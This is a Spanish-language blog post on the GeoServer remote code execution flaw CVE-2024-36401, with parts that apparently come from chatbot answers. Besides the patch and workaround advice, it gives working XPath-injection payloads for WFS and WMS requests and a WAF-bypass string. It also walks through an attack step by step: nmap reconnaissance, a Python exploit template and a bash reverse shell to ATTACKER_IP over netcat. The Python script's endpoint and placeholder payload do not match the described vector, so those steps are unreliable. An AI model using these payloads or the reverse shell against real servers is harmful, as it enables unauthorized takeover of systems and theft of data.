Vulnerabilidad de ejecución remota de código entre GeoServer y GeoTools (CVE-2024-36401/CVE-2024-36404)
Posted inInformatica Seguridad Informatica

Vulnerabilidad de ejecución remota de código entre GeoServer y GeoTools (CVE-2024-36401/CVE-2024-36404)

No Comments
Spread the love
Listen to this article

Vulnerabilidad CVE-2024-36401 en GeoServer 🌍🔓

Descripción General:

  • Vulnerabilidad: Ejecución remota de código (RCE) en GeoServer.
  • Versión Afectada: Versiones anteriores a 2.23.6, 2.24.4 y 2.25.2.
  • Causa: Evaluación insegura de nombres de propiedades como expresiones XPath.

Detalles:

  • Descripción: GeoServer permite a usuarios no autenticados ejecutar código arbitrario a través de entradas especialmente diseñadas debido a la evaluación insegura de nombres de propiedades como expresiones XPath.
  • Módulos Afectados: La librería GeoTools API que llama GeoServer pasa nombres de propiedades/atributos a la biblioteca commons-jxpath, lo que puede ejecutar código arbitrario.
  • Impacto: Todas las instancias de GeoServer están afectadas, aplicándose incorrectamente a tipos de características simples.

Explotación:

  • Métodos de Explotación: Confirmado explotable a través de solicitudes WFS GetFeature, WFS GetPropertyValue, WMS GetMap, WMS GetFeatureInfo, WMS GetLegendGraphic y WPS Execute.
  • Consecuencia: Ejecución de código arbitrario en el servidor.

Mitigación y Soluciones:

  • Parche Disponible: Versiones 2.23.6, 2.24.4 y 2.25.2.
  • Solución Alternativa: Eliminar el archivo gt-complex-x.y.jar del GeoServer donde x.y es la versión de GeoTools (por ejemplo, gt-complex-31.1.jar si se ejecuta GeoServer 2.25.1). Esto eliminará el código vulnerable pero puede afectar la funcionalidad de GeoServer.

Ejemplos de PoC 💻💣

Obtener Propiedad (GetPropertyValue):

POST /geoserver/wfs HTTP/1.1
Host: 127.0.0.1:8085
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 2

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'
 valueReference='exec(java.lang.Runtime.getRuntime(),"calc")'>
  <wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>

Obtener Características (GetFeature):

POST /geoserver/wfs HTTP/1.1
Host: 127.0.0.1:8085
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 2

<wfs:GetFeature service="WFS" version="1.0.0"
  xmlns:topp="http://www.openplans.org/topp"
  xmlns:wfs="http://www.opengis.net/wfs"
  xmlns:ogc="http://www.opengis.net/ogc"
  xmlns:gml="http://www.opengis.net/gml"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://www.opengis.net/wfs">
  <wfs:Query typeName="topp:states">
    <ogc:Filter>
      <ogc:BBOX>
        <ogc:PropertyName>exec(java.lang.Runtime.getRuntime(),"calc")</ogc:PropertyName>
        <gml:Box srsName="http://www.opengis.net/gml/srs/epsg.xml#4326">
           <gml:coordinates>-75.102613,40.212597 -72.361859,41.512517</gml:coordinates>
        </gml:Box>
      </ogc:BBOX>
   </ogc:Filter>
  </wfs:Query>
</wfs:GetFeature>

Bypass WAF PoC:

/+java.lang.T<!--IgnoreMe!!!!-->hread.s[(: IGNORE :)]leep&#010;&#032;&#009;<![CDATA[ (2000) ]]>

Prevención 🛡️

  • Actualizar GeoServer a las versiones parcheadas 2.23.6, 2.24.4 o 2.25.2.
  • Eliminar el archivo vulnerable gt-complex-x.y.jar como solución temporal, con la consideración de posibles interrupciones en la funcionalidad.

Mantener el software actualizado y seguir las prácticas de seguridad recomendadas puede ayudar a mitigar estas vulnerabilidades.

Claro, aquí tienes una explicación de los posibles ataques que se pueden realizar explotando la vulnerabilidad CVE-2024-36401 en GeoServer.

Vulnerabilidad CVE-2024-36401 🚨

  • Descripción: Vulnerabilidad de ejecución remota de código (RCE) en GeoServer, una plataforma de servidor de datos geoespaciales.
  • Causa: Evaluación insegura de nombres de propiedades como expresiones XPath.
  • Impacto: Permite a usuarios no autenticados ejecutar código arbitrario.

Ataques posibles usando CVE-2024-36401 🔥

1. GetPropertyValue

  • Descripción: Solicita un valor de propiedad específico en una capa de datos.
  • Exploits: Ejecuta código arbitrario mediante valueReference.
  • Ejemplo:
  <wfs:GetPropertyValue service='WFS' version='2.0.0'
   xmlns:topp='http://www.openplans.org/topp'
   valueReference='exec(java.lang.Runtime.getRuntime(),"calc")'>
    <wfs:Query typeNames='topp:states'/>
  </wfs:GetPropertyValue>

2. GetFeature

  • Descripción: Solicita características de una capa de datos específica.
  • Exploits:
  • BBOX-1.0 y 1.1: Ejecuta código usando PropertyName.
  • Between-1.0/1.1: Filtra datos entre dos límites y ejecuta código.
  • Intersects-1.0/1.1: Filtra datos que se intersectan con una geometría y ejecuta código.
  • Ejemplo (BBOX-1.0):
  <wfs:GetFeature service="WFS" version="1.0.0">
    <wfs:Query typeName="topp:states">
      <ogc:Filter>
        <ogc:BBOX>
          <ogc:PropertyName>exec(java.lang.Runtime.getRuntime(),"calc")</ogc:PropertyName>
        </ogc:BBOX>
      </ogc:Filter>
    </wfs:Query>
  </wfs:GetFeature>

3. WMS GetMap

  • Descripción: Solicita una imagen de mapa de una capa de datos.
  • Exploits: Inyecta código en el cuerpo del SLD (Styled Layer Descriptor).
  • Ejemplo:
  <ogc:GetMap service="WMS" version="1.3.0">
    <StyledLayerDescriptor>
      <UserLayer>
        <UserStyle>
          <FeatureTypeStyle>
            <Rule>
              <Filter>
                <PropertyIsEqualTo>
                  <PropertyName>exec(java.lang.Runtime.getRuntime(),"calc")</PropertyName>
                </PropertyIsEqualTo>
              </Filter>
            </Rule>
          </FeatureTypeStyle>
        </UserStyle>
      </UserLayer>
    </StyledLayerDescriptor>
  </ogc:GetMap>

4. Math Operations

  • Descripción: Usa operaciones matemáticas en filtros para ejecutar código.
  • Exploits: Combina operaciones matemáticas con ejecución de código.
  • Ejemplo:
  <wfs:GetFeature service="WFS" version="1.0.0">
    <wfs:Query typeName="topp:states">
      <ogc:Filter>
        <ogc:PropertyIsGreaterThan>
          <ogc:Div>
            <ogc:PropertyName>exec(java.lang.Runtime.getRuntime(),"calc")</ogc:PropertyName>
            <ogc:PropertyName>xxx</ogc:PropertyName>
          </ogc:Div>
          <ogc:Literal>0.25</ogc:Literal>
        </ogc:PropertyIsGreaterThan>
      </ogc:Filter>
    </wfs:Query>
  </wfs:GetFeature>

Medidas de Protección 🛡️

  • Actualizar GeoServer: Instalar las versiones parcheadas (2.23.6, 2.24.4, 2.25.2).
  • Eliminar archivos vulnerables: Quitar gt-complex-x.y.jar del servidor.
  • Monitoreo y Auditoría: Implementar monitoreo constante y auditorías de seguridad.

Explotar la vulnerabilidad CVE-2024-36401 en GeoServer permite a un atacante ejecutar una variedad de acciones maliciosas con potencialmente graves consecuencias. Aquí tienes una lista de lo que puede lograr un atacante al explotar esta vulnerabilidad:

Consecuencias de la Explotación de CVE-2024-36401

  1. Ejecución Remota de Código (RCE) 💻
  • Descripción: Permite ejecutar comandos o scripts en el servidor donde está alojado GeoServer.
  • Impacto:
    • Instalación de malware o ransomware.
    • Creación de puertas traseras para acceso persistente.
    • Modificación o destrucción de datos.
  1. Acceso No Autorizado a Datos 🔓
  • Descripción: Obtención de datos geoespaciales sensibles sin autorización.
  • Impacto:
    • Exposición de información confidencial.
    • Robo de datos estratégicos para empresas o gobiernos.
  1. Desfiguración de Datos 🌐
  • Descripción: Modificación de datos geoespaciales.
  • Impacto:
    • Alteración de mapas y capas de datos.
    • Desinformación y manipulación de datos para fines maliciosos.
  1. Ataques de Denegación de Servicio (DoS) 🚫
  • Descripción: Sobre carga del servidor, haciendo que el servicio no esté disponible.
  • Impacto:
    • Interrupción de servicios críticos que dependen de GeoServer.
    • Pérdida de accesibilidad para usuarios legítimos.
  1. Escalada de Privilegios 🔒
  • Descripción: Obtención de permisos de administrador o root en el servidor.
  • Impacto:
    • Control total del servidor.
    • Capacidad de instalar y ejecutar cualquier software, incluyendo herramientas de hacking adicionales.
  1. Exfiltración de Información 📤
  • Descripción: Robo de datos del servidor hacia una ubicación controlada por el atacante.
  • Impacto:
    • Pérdida de propiedad intelectual.
    • Posible extorsión o venta de información en el mercado negro.
  1. Persistencia de Amenazas 🌐
  • Descripción: Instalación de mecanismos que permiten al atacante mantener el acceso.
  • Impacto:
    • Acceso continuo incluso después de intentos de remediación.
    • Difícil detección y eliminación del atacante del sistema.

Resumen 📋

Explotar CVE-2024-36401 en GeoServer puede permitir a un atacante ejecutar código arbitrario en el servidor, acceder y modificar datos sin autorización, causar interrupciones del servicio, y potencialmente tomar control total del servidor. Estas acciones pueden llevar a pérdidas de datos, exposición de información confidencial, interrupciones del servicio y otros efectos negativos significativos.

Es crucial aplicar las actualizaciones y medidas de protección recomendadas para mitigar estas amenazas.

Para que un atacante determine si un servidor GeoServer es vulnerable a la CVE-2024-36401 y luego explotar dicha vulnerabilidad, sigue un proceso específico. Aquí está un paso a paso de cómo se llevaría a cabo el ataque:

Identificación de la Vulnerabilidad

  1. Reconocimiento 🕵️
  • Descripción: El atacante primero identifica servidores GeoServer accesibles.
  • Herramientas:
    • Motores de búsqueda como Shodan o Censys para encontrar servidores GeoServer en internet.
    • Escaneos de red usando herramientas como Nmap para descubrir servicios activos.
  1. Verificación de la Versión ⚙️
  • Descripción: El atacante verifica la versión de GeoServer para ver si es vulnerable.
  • Métodos:
    • Acceder a la interfaz web del GeoServer y comprobar la versión en la página de inicio de sesión o en el pie de página.
    • Enviar peticiones HTTP específicas que revelen la versión del software.

Explotación de la Vulnerabilidad

  1. Preparación del Exploit 🧩
  • Descripción: El atacante prepara un exploit que aprovecha la vulnerabilidad CVE-2024-36401.
  • Herramientas:
    • Herramientas de explotación como Metasploit, si está disponible un módulo específico.
    • Scripts personalizados desarrollados para aprovechar la vulnerabilidad.
  1. Ejecutar el Exploit 🚀
  • Descripción: El atacante ejecuta el exploit contra el servidor GeoServer vulnerable.
  • Pasos:
    1. Enviar Petición Maliciosa: Enviar una solicitud HTTP diseñada para explotar la vulnerabilidad.
    2. Inyectar Código: El exploit inyecta código malicioso que se ejecuta en el servidor.
    3. Ejecución de Código: El código malicioso se ejecuta, proporcionando acceso al atacante.

Toma de Control del Servidor

  1. Obtener Acceso Inicial 🔓
  • Descripción: El exploit inicial otorga al atacante acceso al servidor.
  • Impacto:
    • Ejecución de comandos con los permisos del servicio GeoServer.
  1. Escalada de Privilegios 🔝
  • Descripción: El atacante intenta escalar privilegios para obtener control total del servidor.
  • Métodos:
    • Explotar otras vulnerabilidades en el sistema operativo.
    • Utilizar técnicas como “sudo exploitation” o “kernel exploits” para obtener permisos de administrador o root.
  1. Establecer Persistencia 🔒
  • Descripción: El atacante establece métodos para mantener el acceso al servidor.
  • Métodos:
    • Instalación de puertas traseras.
    • Modificación de configuraciones del sistema para asegurar el acceso continuo.
  1. Exfiltración y Manipulación de Datos 📤
  • Descripción: El atacante puede ahora exfiltrar datos sensibles o modificar datos a su antojo.
  • Métodos:
    • Descargar archivos confidenciales.
    • Modificar bases de datos o archivos de configuración.

Resumen de los Pasos 🔄

  1. Reconocimiento y Escaneo: Identificar servidores GeoServer accesibles y verificar la versión.
  2. Preparación y Ejecución del Exploit: Crear y lanzar el exploit contra el servidor vulnerable.
  3. Obtener y Escalar Acceso: Conseguir acceso inicial y luego escalar privilegios para control total.
  4. Establecer Persistencia y Manipular Datos: Asegurar el acceso continuo y manipular/exfiltrar datos.

Recomendaciones para la Mitigación

  • Actualizar GeoServer: A la última versión que corrige CVE-2024-36401.
  • Configurar Cortafuegos y WAF: Para bloquear accesos no autorizados y peticiones maliciosas.
  • Monitoreo y Auditoría: Implementar monitoreo continuo de actividades sospechosas y realizar auditorías regulares.

Aquí te muestro un ejemplo detallado de cómo se podría realizar un ataque a un servidor GeoServer vulnerable a la CVE-2024-36401 usando herramientas de terminal. Este proceso incluye la identificación del servidor con nmap, la explotación con un script de Python (como ejemplo), y la obtención de acceso al servidor.

Paso 1: Identificación del Servidor con nmap

Primero, se utiliza nmap para escanear una red en busca de servidores GeoServer activos. Asumimos que el servidor está en la IP 192.168.1.100.

nmap -p 8080 --script=http-title 192.168.1.100

Este comando escanea el puerto 8080 (comúnmente usado por GeoServer) y usa el script http-title para identificar servicios web.

Paso 2: Verificación de la Versión de GeoServer

Para verificar la versión de GeoServer, puedes enviar una petición HTTP y buscar indicaciones de la versión en la respuesta.

curl -I http://192.168.1.100:8080/geoserver/web/

Busca en los encabezados de respuesta o en el contenido de la página para identificar la versión.

Paso 3: Preparar y Ejecutar el Exploit

Asumamos que tenemos un exploit en Python que aprovecha la CVE-2024-36401. El siguiente script es un ejemplo simplificado.

Exploit en Python

import requests

# URL del GeoServer
url = 'http://192.168.1.100:8080/geoserver/rest/'

# Payload para explotar la vulnerabilidad
payload = '<payload específico para CVE-2024-36401>'

# Headers necesarios para la petición
headers = {
    'Content-Type': 'application/xml',
    'Accept': 'application/xml'
}

# Enviar la petición maliciosa
response = requests.post(url, data=payload, headers=headers)

# Verificar la respuesta del servidor
if response.status_code == 200:
    print('Exploit ejecutado con éxito.')
else:
    print('Falló la ejecución del exploit.')

Guarda este script en un archivo llamado exploit.py.

Paso 4: Ejecutar el Exploit

Ejecuta el script desde la terminal.

python exploit.py

Paso 5: Obtener Acceso al Servidor

Si el exploit se ejecuta con éxito, el siguiente paso es utilizar una shell reversa para obtener acceso al servidor. Aquí hay un ejemplo de cómo preparar una shell reversa con netcat.

Preparar el Listener con netcat

En tu máquina atacante, prepara el listener:

nc -lvp 4444

Modificar el Payload para Incluir una Shell Reversa

Modifica el payload en el script para incluir un comando que inicie una conexión reversa:

payload = '''<exploit_payload>
<![CDATA[
/bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
]]>
</exploit_payload>'''

Reemplaza ATTACKER_IP con la IP de tu máquina atacante.

Paso 6: Ejecutar el Payload con Shell Reversa

Ejecuta el script de nuevo para enviar el payload modificado.

python exploit.py

Paso 7: Acceso al Servidor

Si todo funciona correctamente, deberías obtener una shell en tu listener netcat.

nc -lvp 4444

Ahora tienes acceso al servidor vulnerable.

Resumen de los Comandos

  1. Escaneo con nmap: nmap -p 8080 --script=http-title 192.168.1.100
  2. Verificación de la Versión: curl -I http://192.168.1.100:8080/geoserver/web/
  3. Exploit en Python: import requests url = 'http://192.168.1.100:8080/geoserver/rest/' payload = '<payload específico para CVE-2024-36401>' headers = { 'Content-Type': 'application/xml', 'Accept': 'application/xml' } response = requests.post(url, data=payload, headers=headers) if response.status_code == 200: print('Exploit ejecutado con éxito.') else: print('Falló la ejecución del exploit.')
  4. Ejecutar el Exploit: python exploit.py
  5. Preparar netcat: nc -lvp 4444
  6. Modificar Payload para Shell Reversa: payload = '''<exploit_payload> <![CDATA[ /bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 ]]> </exploit_payload>'''
  7. Ejecutar el Exploit con Shell Reversa:
    bash python exploit.py

Este es un ejemplo educativo y debe ser utilizado únicamente con fines de aprendizaje y en entornos controlados y con permiso explícito. Realizar ataques sin autorización es ilegal y antiético.

CVE-2024-36401

0 0 votos
Article Rating
Suscribir
Notificar de
guest
0 Comments
Más antiguo
La mas nueva Más votado
Comentarios en línea
Ver todos los comentarios